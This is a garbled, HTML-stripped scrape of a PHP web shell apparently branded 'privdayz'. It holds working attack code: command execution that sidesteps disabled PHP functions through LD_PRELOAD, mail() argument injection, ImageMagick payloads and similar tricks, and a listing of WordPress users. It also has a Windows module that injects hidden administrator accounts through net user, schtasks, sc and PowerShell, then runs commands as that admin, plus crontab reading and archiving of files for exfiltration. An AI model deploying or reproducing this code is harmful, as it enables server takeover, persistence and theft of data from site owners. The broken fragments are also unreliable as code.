| function | status |
|---|---|
| disabled enabled |
&1" > .privdayz-root2');
usleep(350000);
$out = @file_get_contents('.privdayz-root2');
if (!$out) $out = "[!] No output or blocked.";
} else {
$out = pr1vd4yzC($c . ' 2>&1');
if (!$out) $out = "[!] No output or blocked.";
}
echo "\n";
echo htmlspecialchars($out);
}
?>
| ID | user | role | reset pw | wp-login | |
|---|---|---|---|---|---|
| '.$u['ID'].' | '.htmlspecialchars($u['user_login']).' | '.htmlspecialchars($u['user_email']).' | '.$u['role'].' | '; if ($site_url) { $login_url = htmlspecialchars($site_url . '/wp-login.php?log=' . urlencode($u['user_login'])); echo 'login'; } else { echo 'no site url'; } echo ' |
&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('filter.default'); } elseif ($meth === 'ld_preload') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WIN') { putenv('LD_PRELOAD=/tmp/x.so'); $out = @chDx2x($c.' 2>&1'); putenv('LD_PRELOAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'prepend') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, ""); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suhosin') { @ini_set('suhosin.executor.func.blacklist', ''); $out = @chDx2x($c.' 2>&1'); if (trim($out)) $ok = true; } elseif ($meth === 'mailinj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'errlog') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log("", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'fopeninput') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'binbrute') { foreach(['sh','bash','python','perl','nc','busybox','wget'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'ht404') { $out = ''; } elseif ($meth === 'imagemagick') { $tmpi = sys_get_temp_dir().'/img'.uniqid().'.mvg'; $tmpp = sys_get_temp_dir().'/out'.uniqid().'.png'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cgienv') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>&1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' 2>&1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) { @$meth($c.' 2>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' 2>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}?>
| Type | Found | File/Path | Copy |
|---|
'.htmlspecialchars($rel).'
Open
(chmod 755)
| File | Size | Last Modified | Match |
|---|---|---|---|
| '.htmlspecialchars($row['path']).' | '.number_format($row['size']/1024,2).' KB | '.$row['mtime'].' | '.htmlspecialchars(substr($row['match'],0,55)).' |
&1');
if (trim($out)) return $out;
$fallback = "timeout /T $timeout /NOBREAK & $cmd";
$out2 = pr1vd4yzC($fallback.' 2>&1');
if (trim($out2)) return $out2;
return pr1vd4yzC($cmd.' 2>&1');
}
if (!isset($_SESSION['pr1vd4yz_winr00t_success'])) $_SESSION['pr1vd4yz_winr00t_success'] = false;
if (!isset($_SESSION['pr1vd4yz_winr00t_user'])) $_SESSION['pr1vd4yz_winr00t_user'] = '';
if (!isset($_SESSION['pr1vd4yz_winr00t_pass'])) $_SESSION['pr1vd4yz_winr00t_pass'] = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['user'],$_POST['pass'])) {
$u = preg_replace('/[^a-zA-Z0-9_\-]/','',$_POST['user']);
$p = $_POST['pass'];
$mode = $_POST['mode'] ?? 'auto';
$success = false;
$methods = [];
$methods[] = [
"[*] net user (classic)",
"net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
];
$methods[] = [
"[*] PowerShell (background)",
"powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] schtasks",
"schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
];
$methods[] = [
"[*] at.exe",
"at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] sc service hack",
"sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
];
$methods[] = [
"[*] Registry AutoAdminLogon",
"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
];
$methods[] = [
"[*] Fallback CMD",
"cmd /c net user $u $p /add & net localgroup Administrators $u /add"
];
$methods[] = [
"[*] PowerShell Script Chain",
"powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
];
$methods[] = [
"[*] Task Scheduler V2 (schtasks)",
"schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
];
foreach ($methods as $step) {
list($label, $cmd) = $step;
wout($label . "...");
$res = prvd_exec_with_timeout($cmd, 9);
wout($res);
if (
stripos($res, 'success') !== false || stripos($res, 'ok') !== false ||
stripos($res, 'ReturnValue = 0') !== false ||
stripos($res, 'başarı') !== false ||
stripos($res, 'already exists') !== false
) {
wout("[+] Admin user injected!");
$success = true;
break;
}
sleep(1);
}
if ($success) {
$_SESSION['pr1vd4yz_winr00t_success'] = true;
$_SESSION['pr1vd4yz_winr00t_user'] = $u;
$_SESSION['pr1vd4yz_winr00t_pass'] = $p;
wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
} else {
$_SESSION['pr1vd4yz_winr00t_success'] = false;
wout("\n[!] r00t failed :: no vector worked, permission denied.");
}
}
if ($_SESSION['pr1vd4yz_winr00t_success']) {
$u = $_SESSION['pr1vd4yz_winr00t_user'];
$p = $_SESSION['pr1vd4yz_winr00t_pass'];
?>
$cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
$out1 = pr1vd4yzC($scht.' 2>&1');
wout($out1);
pr1vd4yzC("schtasks /run /tn pzadmtask 2>&1");
sleep(1);
$output = @file_get_contents($cmdfile);
if ($output && strlen($output) > 0) {
wout("[+] Command executed as admin!\n" . $output);
$success_cmd = true;
}
@pr1vd4yzC('schtasks /delete /tn pzadmtask /f 2>&1');
@unlink($cmdfile);
if (!$success_cmd) {
wout("[*] Trying service method...");
$svc = 'sc create pzadmsvc binPath= "cmd /c '.$c.' > '.$cmdfile.' 2>&1" obj= ".\\'.$u.'" password= "'.$p.'" start= demand';
$out2 = pr1vd4yzC($svc.' 2>&1');
wout($out2);
pr1vd4yzC('sc start pzadmsvc 2>&1');
sleep(1);
$output2 = @file_get_contents($cmdfile);
if ($output2 && strlen($output2) > 0) {
wout("[+] Service method: Command executed as admin!\n" . $output2);
$success_cmd = true;
}
@pr1vd4yzC('sc delete pzadmsvc 2>&1');
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[*] PowerShell fallback...");
$pw = 'powershell -Command "Start-Process cmd -ArgumentList \'/c '.$c.' > '.$cmdfile.' 2>&1\' -Credential (New-Object System.Management.Automation.PSCredential(\''.$u.'\',(ConvertTo-SecureString \''.$p.'\' -AsPlainText -Force))) -WindowStyle Hidden"';
$out3 = pr1vd4yzC($pw.' 2>&1');
wout($out3);
sleep(1);
$output3 = @file_get_contents($cmdfile);
if ($output3 && strlen($output3) > 0) {
wout("[+] PowerShell: Command executed as admin!\n" . $output3);
$success_cmd = true;
}
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[!] Admin command failed. Try RDP / manual login?");
}
}
?>
| Firewall / Proxy | Status |
|---|---|
| '.htmlspecialchars($fw).' | Detected |
| No major WAF / reverse proxy detected. | |
| # | File Path | Method | Status |
|---|---|---|---|
| Input missing! | |||
| '.$count.' | '.htmlspecialchars($fpath).' | '.$method.' | '.($status == 'OK' ? 'OK' : $status).' |
| No file found. | |||
| No operation yet. | |||
| PID | User | CPU % | MEM % | Command | Action |
|---|---|---|---|---|---|
| protocol | local address | remote address | status | pid |
|---|---|---|---|---|
' . htmlspecialchars(implode("\n", $lines)) . '';
?>
| Variant | Status | Output |
|---|---|---|
'.htmlspecialchars($_rt).'';}else{$_rs=_prv_rx_j9q('crontab -l 2>&1');echo'
'.htmlspecialchars($_rs).'';} echo'
'.htmlspecialchars(trim($_cr)? : '[empty]').'';echo'
".htmlspecialchars($zippath)."";
}
}
}
if (!$done && function_exists('shell_exec')) {
$cmd = "zip -r ".escapeshellarg($zippath)." ".escapeshellarg($src)." 2>&1";
$out = @shell_exec($cmd);
if (file_exists($zippath) && filesize($zippath) > 0) {
$done = true; $msg = "zip shell_exec! ".htmlspecialchars($zippath)."";
} elseif($out) {
$msg = "zip shell error: ".htmlspecialchars($out)."";
}
}
if (!$done && function_exists('system')) {
$cmd = "zip -r ".escapeshellarg($zippath)." ".escapeshellarg($src)." 2>&1";
@system($cmd, $ret);
$out = "";
if (file_exists($zippath) && filesize($zippath) > 0) {
$done = true; $msg = "zip system! ".htmlspecialchars($zippath)."";
} elseif($out) {
$msg = "zip system error: ".htmlspecialchars($out)."";
}
}
if (!$done && function_exists('exec')) {
$cmd = "zip -r ".escapeshellarg($zippath)." ".escapeshellarg($src)." 2>&1";
@exec($cmd, $o, $r);
if (file_exists($zippath) && filesize($zippath) > 0) {
$done = true; $msg = "zip exec! ".htmlspecialchars($zippath)."";
} elseif(!empty($o)) {
$msg = "zip exec error: ".htmlspecialchars(implode("\n",$o))."";
}
}
if (!$done && is_file($src)) {
if (@copy($src, $zippath)) {
$done = true; $msg = "copied (not zipped)! ".htmlspecialchars($zippath)."";
}
}
if ($done) {
echo ''.htmlspecialchars(trim($stat)).'
| Method | File | Status |
|---|---|---|
| '.htmlspecialchars($row['method']).' | '.htmlspecialchars($row['file']).' | '.($row['success'] ? 'Success' : 'Fail').' |